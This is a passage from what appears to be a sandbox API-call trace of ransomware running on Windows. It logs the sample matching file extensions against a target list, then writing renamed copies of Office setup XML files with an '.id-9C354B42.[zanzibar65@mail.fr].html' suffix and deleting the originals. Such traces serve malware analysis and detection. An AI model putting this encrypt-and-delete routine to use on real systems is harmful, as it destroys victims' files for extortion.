lpOverlapped=0x0) returned 1 [0040.253] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0040.253] SetEndOfFile (hFile=0x1e8) returned 1 [0040.253] CloseHandle (hObject=0x1e8) returned 1 [0040.254] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.254] SetEndOfFile (hFile=0x184) returned 1 [0040.254] CloseHandle (hObject=0x184) returned 1 [0040.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.255] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1 [0040.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0040.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0040.255] lstrlenW (lpString=".doc") returned 4 [0040.255] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.255] lstrlenW (lpString=".docx") returned 5 [0040.255] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.255] lstrlenW (lpString=".pdf") returned 4 [0040.255] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.255] lstrlenW (lpString=".xls") returned 4 [0040.255] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.255] lstrlenW (lpString=".xlsx") returned 5 [0040.255] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.255] lstrlenW (lpString=".ppt") returned 4 [0040.255] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0040.255] lstrlenW (lpString=".zip") returned 4 [0040.255] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.256] lstrlenW (lpString=".rar") returned 4 [0040.256] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.256] lstrlenW (lpString=".bz2") returned 4 [0040.256] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.256] lstrlenW (lpString=".7z") returned 3 [0040.256] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0040.256] lstrlenW (lpString=".dbf") returned 4 [0040.256] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0040.256] lstrlenW (lpString=".1cd") returned 4 [0040.256] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0040.256] lstrlenW (lpString=".jpg") returned 4 [0040.256] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0040.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0040.256] lstrlenW (lpString=".doc") returned 4 [0040.256] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.256] lstrlenW (lpString=".docx") returned 5 [0040.256] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.256] lstrlenW (lpString=".pdf") returned 4 [0040.256] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.256] lstrlenW (lpString=".xls") returned 4 [0040.256] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.256] lstrlenW (lpString=".xlsx") returned 5 [0040.256] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.256] lstrlenW (lpString=".ppt") returned 4 [0040.256] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0040.256] lstrlenW (lpString=".zip") returned 4 [0040.256] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.256] lstrlenW (lpString=".rar") returned 4 [0040.257] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.257] lstrlenW (lpString=".bz2") returned 4 [0040.257] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.257] lstrlenW (lpString=".7z") returned 3 [0040.257] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0040.257] lstrlenW (lpString=".dbf") returned 4 [0040.257] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0040.257] lstrlenW (lpString=".1cd") returned 4 [0040.257] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0040.257] lstrlenW (lpString=".jpg") returned 4 [0040.257] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.257] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.257] lstrlenW (lpString="SETUP.XML") returned 9 [0040.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.257] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1872) returned 1 [0040.257] CloseHandle (hObject=0x184) returned 1 [0040.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0040.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.258] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.258] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.258] GetLastError () returned 0x0 [0040.258] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x750, lpOverlapped=0x0) returned 1 [0040.260] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x760, lpOverlapped=0x0) returned 1 [0040.260] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0040.261] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.261] SetEndOfFile (hFile=0x1e8) returned 1 [0040.261] CloseHandle (hObject=0x1e8) returned 1 [0040.261] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.261] SetEndOfFile (hFile=0x184) returned 1 [0040.262] CloseHandle (hObject=0x184) returned 1 [0040.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.262] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1 [0040.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0040.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0040.263] lstrlenW (lpString=".doc") returned 4 [0040.263] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.263] lstrlenW (lpString=".docx") returned 5 [0040.263] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.263] lstrlenW (lpString=".pdf") returned 4 [0040.263] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.263] lstrlenW (lpString=".xls") returned 4 [0040.263] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.263] lstrlenW (lpString=".xlsx") returned 5 [0040.263] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.263] lstrlenW (lpString=".ppt") returned 4 [0040.263] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0040.263] lstrlenW (lpString=".zip") returned 4 [0040.263] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.263] lstrlenW (lpString=".rar") returned 4 [0040.263] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.263] lstrlenW (lpString=".bz2") returned 4 [0040.263] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.263] lstrlenW (lpString=".7z") returned 3 [0040.263] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0040.263] lstrlenW (lpString=".dbf") returned 4 [0040.263] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0040.263] lstrlenW (lpString=".1cd") returned 4 [0040.263] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0040.264] lstrlenW (lpString=".jpg") returned 4 [0040.264] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0040.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0040.264] lstrlenW (lpString=".doc") returned 4 [0040.264] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.264] lstrlenW (lpString=".docx") returned 5 [0040.264] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.264] lstrlenW (lpString=".pdf") returned 4 [0040.264] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.264] lstrlenW (lpString=".xls") returned 4 [0040.264] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.264] lstrlenW (lpString=".xlsx") returned 5 [0040.264] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.264] lstrlenW (lpString=".ppt") returned 4 [0040.264] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0040.264] lstrlenW (lpString=".zip") returned 4 [0040.264] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.264] lstrlenW (lpString=".rar") returned 4 [0040.264] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.264] lstrlenW (lpString=".bz2") returned 4 [0040.264] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.264] lstrlenW (lpString=".7z") returned 3 [0040.264] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0040.264] lstrlenW (lpString=".dbf") returned 4 [0040.264] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0040.264] lstrlenW (lpString=".1cd") returned 4 [0040.264] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0040.265] lstrlenW (lpString=".jpg") returned 4 [0040.265] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.265] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.265] lstrlenW (lpString="Proof.XML") returned 9 [0040.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.265] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1347) returned 1 [0040.265] CloseHandle (hObject=0x184) returned 1 [0040.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0040.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.265] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.265] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.266] GetLastError () returned 0x0 [0040.266] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x543, lpOverlapped=0x0) returned 1 [0040.267] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x550, lpOverlapped=0x0) returned 1 [0040.268] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0040.268] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.268] SetEndOfFile (hFile=0x1e8) returned 1 [0040.268] CloseHandle (hObject=0x1e8) returned 1 [0040.269] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.269] SetEndOfFile (hFile=0x184) returned 1 [0040.270] CloseHandle (hObject=0x184) returned 1 [0040.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.270] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 1 [0040.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0040.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0040.270] lstrlenW (lpString=".doc") returned 4 [0040.270] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.270] lstrlenW (lpString=".docx") returned 5 [0040.270] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0040.270] lstrlenW (lpString=".pdf") returned 4 [0040.271] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.271] lstrlenW (lpString=".xls") returned 4 [0040.271] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.271] lstrlenW (lpString=".xlsx") returned 5 [0040.271] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0040.271] lstrlenW (lpString=".ppt") returned 4 [0040.271] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0040.271] lstrlenW (lpString=".zip") returned 4 [0040.271] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.271] lstrlenW (lpString=".rar") returned 4 [0040.271] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.271] lstrlenW (lpString=".bz2") returned 4 [0040.271] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.271] lstrlenW (lpString=".7z") returned 3 [0040.271] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0040.271] lstrlenW (lpString=".dbf") returned 4 [0040.271] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0040.271] lstrlenW (lpString=".1cd") returned 4 [0040.271] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0040.271] lstrlenW (lpString=".jpg") returned 4 [0040.271] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0040.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0040.271] lstrlenW (lpString=".doc") returned 4 [0040.271] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.271] lstrlenW (lpString=".docx") returned 5 [0040.271] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0040.271] lstrlenW (lpString=".pdf") returned 4 [0040.272] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.272] lstrlenW (lpString=".xls") returned 4 [0040.272] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.272] lstrlenW (lpString=".xlsx") returned 5 [0040.272] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0040.272] lstrlenW (lpString=".ppt") returned 4 [0040.272] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0040.272] lstrlenW (lpString=".zip") returned 4 [0040.272] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.272] lstrlenW (lpString=".rar") returned 4 [0040.272] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.272] lstrlenW (lpString=".bz2") returned 4 [0040.272] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.272] lstrlenW (lpString=".7z") returned 3 [0040.272] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0040.272] lstrlenW (lpString=".dbf") returned 4 [0040.272] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0040.272] lstrlenW (lpString=".1cd") returned 4 [0040.272] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0040.272] lstrlenW (lpString=".jpg") returned 4 [0040.272] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.272] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.272] lstrlenW (lpString="Proof.XML") returned 9 [0040.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.273] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1457) returned 1 [0040.273] CloseHandle (hObject=0x184) returned 1 [0040.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0040.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.274] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.274] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 